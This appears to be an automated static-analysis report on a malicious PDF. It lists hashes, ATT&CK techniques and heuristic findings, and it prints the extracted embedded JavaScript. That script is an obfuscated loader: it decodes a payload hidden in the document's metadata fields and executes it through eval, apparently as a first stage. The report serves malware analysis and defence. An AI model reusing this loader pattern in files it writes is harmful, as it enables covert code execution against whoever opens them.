Malicious PDF — malware analysis report

Static analysis result for SHA-256 7abc942bbea4e383…

MALICIOUS

PDF

18.0 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode
MD5: 6b5d55aeb6f37412e84ac5c57a2401ca SHA-1: 34cadd161552fa780491203205ba4b3b4c7c5f53 SHA-256: 7abc942bbea4e383910ba005b600994a28410034671bbf47a66602bc1d9b3f2c
114 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF document contains embedded JavaScript, identified by heuristics as an exploit cluster. The JavaScript code appears to be obfuscated but attempts to construct and execute a string, likely to download and run a second-stage payload. The use of String.fromCharCode and JavaScript within a PDF strongly suggests an attempt to exploit vulnerabilities for client execution, often delivered via spearphishing.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js
42a103b379236d0b650d8e2c7e0e4ebf8277f31539a74e1e7441fc41750a5c1c		 pdf-javascript-stream PDF /JS object 1 at offset 0x45A4 372 bytes
Preview script
First 1,000 lines of the extracted script
var w = 4;
var ycbqn = this.title.replace(/w/g,'*w,');
ycbqn = ycbqn.replace(/t/g,'2');
ycbqn=ycbqn.substr(0,ycbqn.length-2) + ']';
nxii=function(){return function(){return this}()}();
liwet=nxii[this.subject];
cpvvr=liwet(this.producer);
cflo = liwet(ycbqn);
var s = '';
for (i = 0; i < cflo.length; i++) {
	pzkj = cflo[i];
	s += cpvvr(pzkj);
}
liwet(s);

Open this report in the interactive analyzer, or submit your own file for analysis.